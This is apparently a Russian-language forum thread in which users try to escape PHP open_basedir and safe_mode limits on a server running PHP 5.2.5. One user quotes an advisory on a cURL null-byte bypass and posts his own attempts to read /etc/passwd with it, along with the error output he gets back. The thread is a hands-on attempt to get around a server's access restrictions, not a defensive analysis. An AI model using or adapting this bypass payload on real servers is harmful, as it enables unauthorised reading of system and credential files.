доступ к /tmp делают для того, чтобы php мог записывать сессии. Кстати доступ открыт не только для /tmp и папки веб, но и usr/lib/php (для доступа к PEAR и другим общим скриптам)
версия php какая? возможно для твоей версии есть способ обхода ограничений
google.com/?q=open_basedir+bypass
в /usr/lib/php я зайти не могу.
пишет незя а в ошибке показывает что можно.
PHP Version 5.2.5-pl1-gentoo
Apache 2.0 Handler
вот нашел
http://groups.google.pl/group/mailing.unix.bugtraq/browse_thread/thread/fad2925061ad312d
PHP 5.2.5 cURL safe_mode bypass
The first issue [SAFE_MODE bypass]
var_dump(curl_exec(curl_init("file://safe_mode_bypass\x00".__FILE__)));
the last step in curl_init() function will only copy file://safe_mode_bypass to urlcopy.
The main problem exists in php_url_parse_ex() function. If you put in curl_init() "file://host/somewhere/path.php", php_url_parse_ex() will select /somewhere/path.php to path varible. Looks good but it cannot be used, when you will check real path. Using file:///etc/passwd is correct but between file:// and /etc/passwd, php_url_parse_ex() will select host and return path to /passwd.
как норм запрос составить
делаю var_dump(curl_exec(curl_init("file://etc/passwd")));
белая страница с надписью bool(false)
как я понел файл должен скопироваться?
если так
var_dump(curl_exec(curl_init("file:///etc/passwd")));
ответ
Warning: curl_init() [function.curl-init]: open_basedir restriction in effect. File(/etc/passwd) is not within the allowed path(s): (/var/www/ru:/usr/lib/php:/tmp) in /var/www/ru/1.php on line 2
Warning: curl_exec(): supplied argument is not a valid cURL handle resource in /var/www/ru/1.php on line 2
bool(false)